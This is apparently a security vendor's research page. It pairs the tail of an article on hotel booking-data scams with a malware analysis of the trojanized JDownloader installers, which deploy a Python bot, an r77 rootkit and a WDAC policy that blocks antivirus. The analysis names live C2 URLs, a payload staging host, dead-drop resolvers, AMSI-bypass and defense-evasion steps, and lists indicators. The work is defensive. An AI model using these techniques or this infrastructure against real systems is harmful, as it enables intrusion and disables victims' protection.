is simple: <strong>do not treat correct booking information as proof that a message is legitimate.</strong>&nbsp;</p><p>If a message asks you to verify payment details, confirm a reservation, re-enter card information, pay a balance, reset a PIN, or avoid cancellation, do not use the <a href="https://us.norton.com/blog/online-scams/i-clicked-on-a-phishing-link" target="_blank">link in the message</a>.&nbsp;</p><p>Open the booking platform or hotel app directly. Go to the official website yourself. Use contact details from the original booking confirmation. If needed, call the property using a verified number. Check whether the same request appears inside your official booking account.&nbsp;</p><p>This applies even if the message mentions the right hotel, the right destination, or details from your stay.&nbsp;</p><p>Booking.com has told customers that it will not ask guests to share credit card details by email, phone, WhatsApp, or text, or ask for a bank transfer that differs from the payment policy in the booking confirmation.&nbsp;</p><p>If you already entered payment details into a suspicious page, contact your bank immediately, freeze or cancel the card, and monitor for follow-on fraud. Criminals may reuse the card data later, or sell it to others.&nbsp;</p><h3>What accommodations should take from this&nbsp;</h3><p>For hotels and other accommodation providers, this is not only a guest-awareness issue. Guest communication has become part of the attack surface.&nbsp;</p><p>The systems and workflows between the property and the guest are now valuable targets. That can include hotel staff accounts, booking platform partner accounts, email inboxes, property management systems, guest messaging tools, channel managers, and third-party service providers.&nbsp;</p><p>The lures we have seen on the accommodation side are not exotic. They look like normal hotel work. Some impersonate Booking.com and claim there is a guest complaint waiting for a response. Others say that a paid reservation needs urgent verification, or that the property’s visibility or ranking may be affected if staff do not act quickly. We have also seen payment and invoice-themed messages designed to make staff open attachments or documents that can lead to credential theft or <a href="https://us.norton.com/blog/malware/signs-of-malware" target="_blank">malware infection</a>.&nbsp;</p>

<p>That is why the first visible sign of a Reservation Hijack scam may not be the message sent to the guest. It may start earlier, with an email to a shared hotel inbox, a fake partner-support notice, a malicious attachment, or a document that looks like part of normal accounting or reservation handling. Once reservation context is obtained, whether directly or through another actor in the criminal ecosystem, it can be used later to make guest-facing scams much more convincing.&nbsp;</p><p>For accommodation providers, staff training needs to cover the workflows criminals are actually abusing. Urgent complaints, reservation-verification requests, payment advice emails, invoice notifications, security-update prompts, and any message asking staff to open an attachment, enable content, sign in again, or act under time pressure should all be treated as possible entry points into the same fraud chain.&nbsp;</p><p>The defensive work starts with account protection, but it should not stop there. Accommodation providers need strong <a href="https://us.norton.com/blog/account-safety/multi-factor-authentication" target="_blank">multi-factor authentication</a>, tight control over who can access guest data, monitoring for unusual logins or message patterns, and a clear process for responding when an account may have been abused. The devices used to manage reservations, guest messages, invoices and payment-related emails should also be protected with reliable security protection. Some of the lures we observed were designed to make staff open attachments or documents that could install malware or steal credentials. In those cases, <a href="https://us.norton.com/antivirus" target="_blank">antivirus</a> or endpoint protection may be the last barrier before a compromised inbox becomes a compromised booking workflow.&nbsp;</p><p>Payment-related communication deserves special attention. If a guest receives a payment or verification request, there should be a reliable way to confirm whether it is real. If an account is suspected of being compromised, guests need to be warned quickly and clearly.&nbsp;</p><p>The reputational damage can be painful. Even when the property is also a victim, the traveler may remember the incident as “the hotel message that stole my card details.” That makes workflow security part of customer trust.&nbsp;</p><h3>What the wider travel ecosystem should learn&nbsp;</h3><p>Reservation Hijack scams sit between several parts of the travel industry. The booking platform may see unusual partner activity. The hotel may see confused guests. The traveler sees a convincing message. The bank sees card fraud. A security company sees the landing page.&nbsp;</p><p>Each view is partial, and that delay helps the scam continue.&nbsp;</p><p>The useful signals are often scattered: unusual partner logins, repeated payment-verification language, guest-message spikes, reused templates, fake landing pages, redirects, and infrastructure overlaps. Sharing those signals faster would make it easier to see when separate complaints are really part of the same operation.&nbsp;</p><p>One compromised accommodation can look like a local incident. Hundreds of compromised accommodations across 50 countries point to a repeatable abuse model.&nbsp;</p><h3>The next phase of travel fraud&nbsp;</h3><p>Reservation Hijack scams exploit a simple mistake in how we judge trust online.&nbsp;</p><p>Travelers think: “This message knows my booking, so it must be real.”&nbsp;</p><p>Criminals know: “If we have the booking context, the victim will do much of the trust work for us.”&nbsp;</p><p>The message does not have to be perfect. The website does not have to be flawless. The attacker does not need to convince the victim from zero. They only need to appear inside a relationship that already exists.&nbsp;</p><p>Our latest data shows that this model has spread well beyond isolated cases. We identified <strong>350 compromised accommodations across 50 countries</strong>, covering hotels, apartments, hostels, resorts, guesthouses, villas, and other accommodation types. Together, those properties represent a large travel footprint and millions of estimated annual guest interactions.&nbsp;</p><p>The investigation is still ongoing. We are continuing to analyze infrastructure, campaign overlaps, and the clues suggesting connected activity behind parts of the operation.&nbsp;</p><p>For travelers, the lesson is simple.&nbsp;</p><p>Trust your booking. Do not automatically trust the message.&nbsp;</p>

After our first report, Booking.com began warning customers that reservation data had been accessed. Our continuing investigation shows how criminals are using that data at scale. 

When Hotel Scams Know Your Booking: 350 Compromised Accommodations Across 50 Countries 

Threat Research Team

<p>Attackers replaced selected official download links with malicious installers that deployed a Python bot, r77 rootkit components, and Windows policy-based defense evasion.</p><p>On May 6, 2026, attackers compromised the official JDownloader website and swapped download links to serve trojanized installers. The JDownloader developers <a href="https://www.reddit.com/r/jdownloader/comments/1t6goqe/is_the_website_hacked/">confirmed the breach</a> within hours, restored clean files, and disclosed a timeline, but acknowledged they didn't know what the malicious installers actually do. We took the malware apart to answer that question.</p><p>&nbsp;</p><p>What we found goes well beyond a typical trojanized installer. The payload is a multi-component attack framework: a Python bot protected by PyArmor v9, an r77 rootkit stager with AMSI bypass, and a Windows Defender Application Control (WDAC) policy that blocks 50 security executables from running, including Avast, AVG, Avira, Windows Defender, HitmanPro, and Kaspersky Virus Removal Tool. We reversed the full C2 protocol from the obfuscated Python bytecode and recovered the campaign configuration from the dropper's encrypted strings.</p><p>&nbsp;</p><h2>The infection chain</h2><p>The trojanized installer is unsigned. Windows SmartScreen blocks it, and users who ran it had to manually bypass the warning. Inside, it wraps the legitimate JDownloader installer alongside an XOR-encrypted second-stage PE:</p>

<p>Stage 2 acts as the campaign's quartermaster. It deploys five components from XOR-encrypted resources embedded in its PE (key: <code>fywo</code>):</p><table class="table"><thead><tr><th>Component</th><th>Purpose</th></tr></thead><tbody><tr><td><strong>PyArmor bot</strong></td><td>The main payload, a Python script with obfuscated bytecode</td></tr><tr><td><strong>PyArmor runtime</strong></td><td>DLL that decrypts the bot's bytecode at execution time</td></tr><tr><td><strong>r77 rootkit stager</strong></td><td>Native x86 PE that hides the bot's process, files, and registry keys</td></tr><tr><td><strong>WDAC Code Integrity policy</strong></td><td>Blocks 50 AV/EDR executables from running after reboot</td></tr><tr><td><strong>Python 3.14.3 installer</strong></td><td>The legitimate Python runtime (needed to run the bot)</td></tr></tbody></table><p>Before doing any of this, Stage 2 calls <code>WaitForSingleObject</code> with a 300-second timeout — three times in sequence. This 5-minute-per-call delay is designed to outlast automated sandboxes, which typically give samples 2-5 minutes of execution time. One sandbox vendor recorded an 8-minute total wait before any malicious behavior appeared.</p><p>&nbsp;</p><h2>Killing your antivirus before it can fight back</h2><p>The most operationally significant component is the WDAC Code Integrity policy.</p><p>Windows Defender Application Control (WDAC) policies tell the operating system which executables are allowed to run. The attackers deploy a deny-list policy to <code>%WINDIR%\System32\CodeIntegrity\SIPolicy.p7b</code> that blocks 50 executable paths across six security vendors plus core Windows security services:</p><table class="table"><thead><tr><th>Target</th><th>Blocked executables</th></tr></thead><tbody><tr><td><strong>Avast</strong></td><td>AvastSvc.exe, AvastUI.exe, afwServ.exe, aswEngSrv.exe, aswidsagent.exe, aswToolsSvc.exe, wsc_proxy.exe, Icarus components, Overseer</td></tr><tr><td><strong>AVG</strong></td><td>All executables under Program Files\AVG\Antivirus</td></tr><tr><td><strong>Avira</strong></td><td>Security, VPN, Fallback Updater, Optimizer Host, Endpoint Protection SDK</td></tr><tr><td><strong>Windows Defender</strong></td><td>MsMpEng.exe, MpCmdRun.exe, MpDefenderCoreService.exe</td></tr><tr><td><strong>Windows Security</strong></td><td>SecurityHealthHost.exe, SecurityHealthService.exe, SecurityHealthSystray.exe</td></tr><tr><td><strong>Windows Update</strong></td><td>MoUsoCoreWorker.exe, wuauclt.exe, wusa.exe</td></tr><tr><td><strong>Others</strong></td><td>HitmanPro, Kaspersky Virus Removal Tool, Farbar Recovery Scan Tool</td></tr></tbody></table><p>After the next reboot, none of these executables can start. The AV service is effectively dead. It won't run, it can't scan, and Windows Update can't push signature updates. One victim in the Reddit thread reported that Windows Defender disappeared entirely after running the trojanized installer.</p><p>This is a known but uncommon TTP (MITRE T1562.001). It requires the installer to run elevated, which the SmartScreen bypass dialog would have prompted for. Users who clicked through both warnings — SmartScreen and UAC — gave the malware everything it needed.</p><h2>&nbsp;</h2><h2>How the dropper provisions the bot</h2><p>Stage 2's strings are all XOR-obfuscated with the same <code>fywo</code> key used for its resources. After deobfuscation, we recovered 122 strings including registry paths, API names, and encrypted configuration values.</p><p>The dropper writes the bot's initial configuration to <code>HKCU\SOFTWARE\Python</code>. Both the registry value names and data are RC4-encrypted and hex-encoded — making the registry entries look like random hex strings to casual inspection. We recovered two configuration values:</p><ul><li data-list-item-id="e15e9100cccadef17d91598e244b0b038"><strong>CampaignID</strong> a unique identifier for this campaign, used during bot registration with the C2 server.</li><li data-list-item-id="e7a2666057614636498fba93e483028cf"><strong>DDRList</strong> six dead-drop resolver URLs that the bot uses to discover its C2 servers (detailed in the next section).</li></ul><p>Notably, the dropper does not write a C2 server list directly. The bot discovers its command-and-control addresses exclusively through the dead-drop resolver mechanism — a design choice that makes the infrastructure resilient to takedowns.</p><p>&nbsp;</p><h2>Dead-drop resolvers: how the bot finds its C2</h2><p>A dead-drop resolver (DDR) is an intermediary, a legitimate web page where the operator publishes encrypted C2 addresses. The bot fetches the page, extracts and decrypts the content, and connects to whatever C2 servers it finds. If the operator needs to rotate infrastructure, they update the DDR page and every infected machine follows automatically.</p><p>The bot reads its DDR list from the registry, fetches each URL, and RC4-decrypts the page content. Valid payloads start with the prefix <code>VAL:</code> followed by a semicolon-separated list of C2 URLs.</p><p>We extracted all six dead-drop resolver URLs from the dropper and probed them:</p><table class="table"><thead><tr><th>URL</th><th>Status</th><th>Decrypted content</th></tr></thead><tbody><tr><td><code>telegra[.]ph/tr02-05-02</code></td><td>Live</td><td>C2 list: parkspringshotel[.]com + auraguest[.]lk</td></tr><tr><td><code>telegra[.]ph/ki06-05-02</code></td><td>Live</td><td><code>VAL:XX</code> — placeholder for future C2 rotation</td></tr><tr><td><code>rentry[.]co/zzk7opdu</code></td><td>Live</td><td>Same C2 list</td></tr><tr><td><code>rentry[.]org/wayc2qqz</code></td><td>Live</td><td><code>VAL:XX</code> — placeholder</td></tr><tr><td><code>codeberg[.]org/etienne74/guix/...</code></td><td>404</td><td>Removed or never created</td></tr><tr><td>`2wxjoz6lkdxkniksujbdknkugweemx7uvxdr4ejgyipce4tnvktvbvqd.onion/t`</td><td>Not probed</td><td>Tor hidden service DDR</td></tr></tbody></table><p>The operator has two live C2 servers and four reserve dead-drop pages — two stubs ready for C2 rotation and one Tor fallback. If the current C2 infrastructure gets burned, the operator updates a Telegraph or Rentry page and every infected machine picks up the new address on its next poll cycle.</p><p>Beyond the dead-drop mechanism, the bot has a domain generation algorithm (DGA) as a last-resort fallback. It combines four seeds (<code>XNerWs4I</code>, <code>e55gegnW</code>, <code>RjWN0Y9m</code>, <code>AemOU1co</code>) with 14 TLDs and an ISO-week-based rotation to produce 56 candidate domains per week. We probed all current DGA domains — none are registered. The operator is running purely on dead-drop infrastructure for now, but the DGA ensures the botnet can survive even if all resolver pages and C2 servers are taken down simultaneously.</p><p>&nbsp;</p><h2>The C2 protocol: RSA-OAEP wrapping AES-GCM</h2><p>We reversed the bot's full communication protocol from the PyArmor-protected bytecode. It uses a layered encryption scheme designed to prevent passive interception and session tampering:</p>

<p>The bot wraps a fresh AES-256 key with the hardcoded RSA-2048 public key (OAEP, SHA-256) and sends it to the C2. The server proves possession of the private key by returning <code>"ok"</code> encrypted with AES-GCM. From that point, every message in both directions is AES-256-GCM encrypted with a per-direction sequence counter as authenticated associated data — preventing replay and reordering.</p><p>After the handshake, the bot registers with the campaign ID provisioned by the dropper. The server returns a <code>bot_id</code> and <code>bot_pass</code> that the bot stores in the registry for subsequent polling. The bot's primary capability is arbitrary Python code execution — the attacker can ship any Python code and the bot will run it and return the output.</p><p>All identified C2 and staging servers are compromised <a href="https://qloapps.com/">QloApps</a> hotel reservation websites:</p><table class="table"><thead><tr><th>Domain</th><th>Role</th><th>IP</th><th>PHP</th><th>Location</th></tr></thead><tbody><tr><td><code>parkspringshotel[.]com</code></td><td>C2 panel</td><td>172.96.172[.]91</td><td>8.3.30</td><td>Ghana</td></tr><tr><td><code>auraguest[.]lk</code></td><td>C2 panel</td><td>209.133.215[.]178</td><td>8.3.30</td><td>Sri Lanka</td></tr><tr><td><code>checkinnhotels[.]com</code></td><td>Linux payload staging</td><td>66.29.137[.]25</td><td>7.4.33</td><td>—</td></tr></tbody></table><p>The two C2 servers share identical JARM fingerprints and run the same PHP version, confirming the same C2 panel software is deployed on both. The third domain, <code>checkinnhotels[.]com</code>, was used to host the Linux payload disguised as an SVG file (<a href="https://www.bleepingcomputer.com/news/security/jdownloader-site-hacked-to-replace-installers-with-python-rat-malware/">BleepingComputer</a>). All three run QloApps — an open-source hotel booking CMS — suggesting the attacker specifically targets this software to build their infrastructure. None of the domains had malicious detections on VirusTotal at the time of discovery. We confirmed both C2 servers remain operationally live as of May 11.</p><h2>&nbsp;</h2><h2>The r77 rootkit stager</h2><p>The rootkit stager is a 176 KB native x86 PE based on the open-source <a href="https://github.com/bytecode77/r77-rootkit">r77 rootkit</a>. It contains an embedded .NET assembly that performs four operations:</p><ol><li data-list-item-id="e9ca3772c2bd6052d86931268e23d036a"><strong>AMSI bypass</strong> — a PowerShell cradle patches <code>AmsiScanBuffer</code> in memory, disabling Windows' Antimalware Scan Interface before any script payload runs.</li><li data-list-item-id="e01c27cd4c721b2dabe18b819d05c84fe"><strong>Reflective DLL injection</strong> — injects the r77 hooking DLLs (32-bit and 64-bit variants) into <code>winlogon.exe</code>. These DLLs hook Windows API functions to hide any process, file, or registry key whose name starts with the <code>$77</code> prefix.</li><li data-list-item-id="e254d7da7ebd6dfd7d57f7c5f67760ba3"><strong>Registry persistence</strong> — stores the stager assembly as a binary blob in <code>HKLM\SOFTWARE\$77stager</code> and reloads it at every boot via .NET reflection.</li><li data-list-item-id="ef200c38559748bd535edaf6a0d5aa3d5"><strong>Service creation</strong> — installs a Windows service (<code>$77svc</code>) to ensure the rootkit survives reboots independently of the registry mechanism.</li></ol><p>Once r77 is active, the <code>$77</code> prefix acts as an invisibility cloak. The Python bot calls <code>r77_hide_self()</code> and <code>r77_hide_registry_path()</code> to rename its own process and registry hive with this prefix, making them invisible to Task Manager, <code>regedit</code>, and most security tools.</p><h2>&nbsp;</h2><h2>The Python bot under PyArmor v9</h2><p>The final payload is a Python script protected by <a href="https://pyarmor.dashingsoft.com/">PyArmor</a> v9, a commercial bytecode obfuscation tool. PyArmor encrypts each function's bytecode individually and decrypts it at runtime through a native DLL — making static analysis significantly harder than standard Python malware.</p><p>We built a custom tool to decrypt and disassemble the protected bytecode, recovering 30 functions totaling 7,326 lines of disassembly. The bot is cross-platform (Windows and Linux), uses gevent for asynchronous I/O, and handles the full lifecycle: configuration management, C2 discovery via dead-drop resolvers and DGA, encrypted communication, task execution, and rootkit integration.</p><p>The bot's primary capability is executing arbitrary Python code received from the C2 server. Combined with the Python 3.14 runtime installed by the dropper, this gives the operator the ability to deploy any follow-on payload — keyloggers, credential stealers, lateral movement tools — without needing to push new binaries to the victim.</p><h2>&nbsp;</h2><h2>Impact and recommendations</h2><p>Users who downloaded JDownloader from the official website between May 6 and May 7, 2026, using the "Download Alternative Installer" links (Windows) or the Linux shell installer link are potentially compromised. The <a href="https://jdownloader.org/incident_8.5.2026.html">official incident report</a> lists eight malicious installer hashes across x86/amd64 and multiple JRE versions. The attackers exploited an unpatched CMS vulnerability to swap download links — the actual installer files hosted externally were never modified. In-app updates, macOS downloads, and package manager installs (Flatpak, Winget, Snap) were not affected.</p><p>The Linux attack chain, [first reported by BleepingComputer](https://www.bleepingcomputer.com/news/security/jdownloader-site-hacked-to-replace-installers-with-python-rat-malware/), follows a different delivery path. We downloaded the trojanized shell installer and its payload to verify the claims and dig deeper.d. The modified install4j script requires root, checks for x86_64 architecture, and downloads a 20 MB tar.gz from <code>checkinnhotels[.]com/img/logo1.svg</code> (disguised with <code>Content-Type: image/svg+xml</code> — still live as of May 11). The archive contains two files: a 3 KB SUID-root helper (<code>systemd-exec</code>) and a 21 MB PyInstaller bundle (<code>pkg</code>). The helper is a minimal ELF that calls <code>setuid(0)</code>, <code>setgid(0)</code>, and <code>execvp()</code> — installed to <code>/usr/bin/systemd-exec</code> with <code>chmod 4755</code>. Persistence is created via <code>/etc/profile.d/systemd.sh</code>, which launches the payload masquerading as <code>/usr/libexec/upowerd</code>.</p><p>We decrypted the PyArmor-protected Python bytecode from the Linux payload and confirmed it is <strong>the same bot source code</strong> as the Windows variant — identical RSA public key, DGA seeds, RC4 keys, C2 protocol, and DDR handler logic. The same campaign ID (<code>NdcHsJPM</code>) and all six DDR URLs are written to <code>~/.local/share/</code> as RC4-encrypted files (mirroring the Windows registry approach). The only difference is the Python runtime: the Linux bundle uses Python 3.12 (packaged via PyInstaller) versus Python 3.14 on Windows.</p><p>The JDownloader developers restored clean downloads on May 9 and published a detailed incident timeline. Users who already had JDownloader installed and received updates through the application's built-in updater were not affected — only fresh downloads from the website during the compromise window were trojanized.</p><p><strong>If you ran the trojanized installer:</strong></p><ul><li data-list-item-id="e78c8637f87f47adb2a6c0e9e37ff1466">The WDAC policy may have disabled your antivirus. Check <code>%WINDIR%\System32\CodeIntegrity\SIPolicy.p7b</code> — if it exists and you didn't create it, delete it and reboot.</li><li data-list-item-id="e5a9344602452a9e77dfe81e30c45fd8c">The registry keys <code>HKCU\SOFTWARE\Python</code> (bot config) and <code>HKLM\SOFTWARE\$77stager</code> (rootkit) are strong indicators of compromise — but if r77 is active, its API hooks hide all <code>$77</code>-prefixed registry keys and the bot's own hive from standard tools like <code>regedit</code>. To inspect these, boot from a Windows recovery environment or mount the registry hives offline.</li><li data-list-item-id="edcbc2f271c7b2885893f8f995fe252eb">A clean OS reinstall is the safest remediation. The r77 rootkit's reflective injection into <code>winlogon.exe</code> and AMSI bypass make partial cleanup unreliable.</li></ul><p><strong>For defenders:</strong></p><ul><li data-list-item-id="efcd7ce434d65f159da0dbff097d5fb44">The bot uses the default Python User-Agent <code>Python-urllib/3.14</code>. While not unique on its own, it can help correlate connections to the C2 URLs and DDR pages listed below.</li><li data-list-item-id="e35fe4757c01a79131defbd71e6762bfb">Monitor for DNS queries to the DGA pattern: 15-character lowercase alphanumeric hostnames on TLDs including <code>.top</code>, <code>.cfd</code>, <code>.sbs</code>, <code>.cyou</code>, <code>.icu</code>, <code>.casa</code>.</li><li data-list-item-id="e41ab2df0dd210b9e338012701bdf4398">The mutex name <code>Global\0C3C1D37</code> can serve as a host-based indicator.</li><li data-list-item-id="e68e99d7961368cd02568989f8e767d08">Block the dead-drop resolver pages: <code>telegra[.]ph/tr02-05-02</code>, <code>telegra[.]ph/ki06-05-02</code>, <code>rentry[.]co/zzk7opdu</code>, <code>rentry[.]org/wayc2qqz</code>.</li></ul><h2>&nbsp;</h2><h2>Indicators of Compromise</h2><p>Full IOC list available on <a href="https://github.com/avast/ioc">GitHub</a>.</p><h3>Hashes (SHA-256)</h3><table class="table"><thead><tr><th>Artifact</th><th>Hash</th></tr></thead><tbody><tr><td>Stage 1 — Windows (analyzed variant)</td><td><code>5a6636ce490789d7f26aaa86e50bd65c7330f8e6a7c32418740c1d009fb12ef3</code></td></tr><tr><td>Stage 1 — Linux shell installer</td><td><code>6d975c05ef7a164707fa359284a31bfe0b1681fe0319819cb9e2c4eec2a1a8af</code></td></tr><tr><td>Stage 2 (C++ dropper)</td><td><code>77a60b5c443f011dc67ace877f5b2ad7773501f3d82481db7f4a5238cf895f80</code></td></tr><tr><td>Stage 3 — Windows (PyArmor bot)</td><td><code>5fdbee7aa7ba6a5026855a35a9fe075967341017d3cb932e736a12dd00ed590a</code></td></tr><tr><td>PyArmor runtime DLL</td><td><code>33318499489cdb82543c0bfea699b98f5928c7a360966df6e958a9cbc2eab3fe</code></td></tr><tr><td>r77 rootkit stager</td><td><code>5c887054cb1dce077943afa955db43306f66795f7cbda8233d8ba25230a23d41</code></td></tr><tr><td>WDAC CI policy</td><td><code>5ee86c177dc5bdba05e3bdc67b07115c66097f825fff257bf0d4a999bbb8a1ea</code></td></tr><tr><td>Linux payload archive (logo1.svg)</td><td><code>6550672cac21e036882921dd934ee06552dc74d3b0a9e1ddc26f952855e11371</code></td></tr><tr><td>Linux SUID helper (systemd-exec)</td><td><code>25744e90bfa44cbcbf1f3d3c3cb90dd79dd32a6e359df9d2660ff251d6d03b46</code></td></tr><tr><td>Linux PyInstaller bot (pkg)</td><td><code>bf47585bd0b39f0731f044b37a95eb7e311ad31b23b50306a113a3aa777dbfab</code></td></tr></tbody></table><p>Six additional Windows installer variants are listed in the <a href="https://jdownloader.org/incident_8.5.2026.html">official incident report</a>. Full hash list on <a href="https://github.com/avast/ioc/tree/master/JDownloaderRAT">GitHub</a>.</p><h3>Network indicators</h3><table class="table"><thead><tr><th>Type</th><th>Value</th><th>Context</th></tr></thead><tbody><tr><td>C2 URL</td><td><code>parkspringshotel[.]com/m/Lu6aeloo.php</code></td><td>Active C2</td></tr><tr><td>C2 URL</td><td><code>auraguest[.]lk/m/douV2quu.php</code></td><td>Active C2</td></tr><tr><td>Staging</td><td><code>checkinnhotels[.]com/img/logo1.svg</code></td><td>Linux payload (still live)</td></tr><tr><td>C2 IP</td><td><code>172.96.172[.]91</code></td><td>parkspringshotel.com</td></tr><tr><td>C2 IP</td><td><code>209.133.215[.]178</code></td><td>auraguest[.]lk</td></tr><tr><td>Staging IP</td><td><code>66.29.137[.]25</code></td><td>checkinnhotels.com</td></tr><tr><td>Dead-drop resolver</td><td><code>telegra[.]ph/tr02-05-02</code></td><td>Live, serves encrypted C2 list</td></tr><tr><td>Dead-drop resolver</td><td><code>rentry[.]co/zzk7opdu</code></td><td>Live, serves encrypted C2 list</td></tr><tr><td>Dead-drop resolver</td><td><code>telegra[.]ph/ki06-05-02</code></td><td>Stub, reserved for C2 rotation</td></tr><tr><td>Dead-drop resolver</td><td><code>rentry[.]org/wayc2qqz</code></td><td>Stub, reserved for C2 rotation</td></tr></tbody></table><h3>Host indicators</h3><table class="table"><thead><tr><th>Type</th><th>Value</th></tr></thead><tbody><tr><td>Mutex</td><td><code>Global\0C3C1D37</code></td></tr><tr><td>Registry (bot config)</td><td><code>HKCU\SOFTWARE\Python\*</code> (hex-encoded RC4-encrypted value names)</td></tr><tr><td>Registry (r77)</td><td><code>HKLM\SOFTWARE\$77stager</code>, <code>$77dll32</code>, <code>$77dll64</code>, <code>$77svc</code></td></tr><tr><td>WDAC policy</td><td><code>%WINDIR%\System32\CodeIntegrity\SIPolicy.p7b</code> (GUID <code>{31351756-3F24-4963-8380-4E7602335AAE}</code>)</td></tr><tr><td>Bot process</td><td><code>pythonw.exe</code> (Python 3.14, User-Agent <code>Python-urllib/3.14</code>)</td></tr><tr><td>Tor drop path</td><td><code>C:\ProgramData\tor\tor\tor.exe</code></td></tr><tr><td>Linux SUID binary</td><td><code>/usr/bin/systemd-exec</code></td></tr><tr><td>Linux payload</td><td><code>/root/.local/share/.pkg</code></td></tr><tr><td>Linux persistence</td><td><code>/etc/profile.d/systemd.sh</code></td></tr><tr><td>Linux masquerade</td><td><code>/usr/libexec/upowerd</code></td></tr></tbody></table><h3>MITRE ATT&amp;CK</h3><table class="table"><thead><tr><th>Technique</th><th>ID</th></tr></thead><tbody><tr><td>Supply Chain Compromise: Compromise Software Supply Chain</td><td>T1195.002</td></tr><tr><td>Obfuscated Files or Information</td><td>T1027</td></tr><tr><td>Impair Defenses: Disable or Modify Tools</td><td>T1562.001</td></tr><tr><td>Process Injection: Dynamic-link Library Injection</td><td>T1055.001</td></tr><tr><td>Web Service: Dead Drop Resolver</td><td>T1102.001</td></tr><tr><td>Dynamic Resolution: Domain Generation Algorithms</td><td>T1568.002</td></tr><tr><td>Encrypted Channel: Asymmetric Cryptography</td><td>T1573.002</td></tr><tr><td>Rootkit</td><td>T1014</td></tr><tr><td>Create or Modify System Process: Windows Service</td><td>T1543.003</td></tr><tr><td>Modify Registry</td><td>T1112</td></tr></tbody></table><p>For customers using Norton, Avast, AVG, Avira or any other security product, the most important question is whether the malicious installer was executed. If you downloaded an affected installer but did not run it, delete the file, download a fresh installer from the official JDownloader site, and run a full scan with up-to-date protection. If you ran the installer, or cannot rule out that you ran it, treat the system as compromised. JDownloader recommends a clean operating system reinstall in this situation, and we agree that this is the safest baseline. The Windows payload includes rootkit behavior, persistence, encrypted configuration and policy-based defense evasion, so a normal scan may reduce risk but cannot guarantee that every persistence mechanism has been removed. Until the system has been rebuilt or inspected from a trusted recovery environment, avoid using it for sensitive activity. Do not log in to email, banking, work accounts, password managers or other important services from that machine. Change important passwords from another trusted device, and monitor accounts for unusual activity.</p><p>&nbsp;</p>

Research

The NDA Was the Payload: Inside Phantom Deal, a Fake Acquisition Fraud Campaign

WordlistLoader Delivering Amatera via ClearFake Campaigns

A 12 KB Backdoor Hid Its C2 Domain in desktop.ini Whitespace

The phishing link that died on purpose

Fake invoices are moving from inboxes to shopping apps

Inside Vidar’s ABE Bypass: From Memory Scanning to APC Injections

Your flight was cancelled. Is the refund message real?

Fake hiring pages abuse FIFA and other major brands to steal work credentials

Who's Really Using Your Home Internet Connection?

GoFlateLoader: A Widespread Golang Loader Delivering Multiple Infostealers

When Hotel Scams Know Your Booking: 350 Compromised Accommodations Across 50 Countries

Inside the JDownloader Supply-Chain Attack: An r77 Rootkit Bot That Kills Your Antivirus

 WordlistLoader Delivering Amatera via ClearFake Campaigns

GoFlateLoader: A Widespread Golang Loader Delivering Multiple Infostealers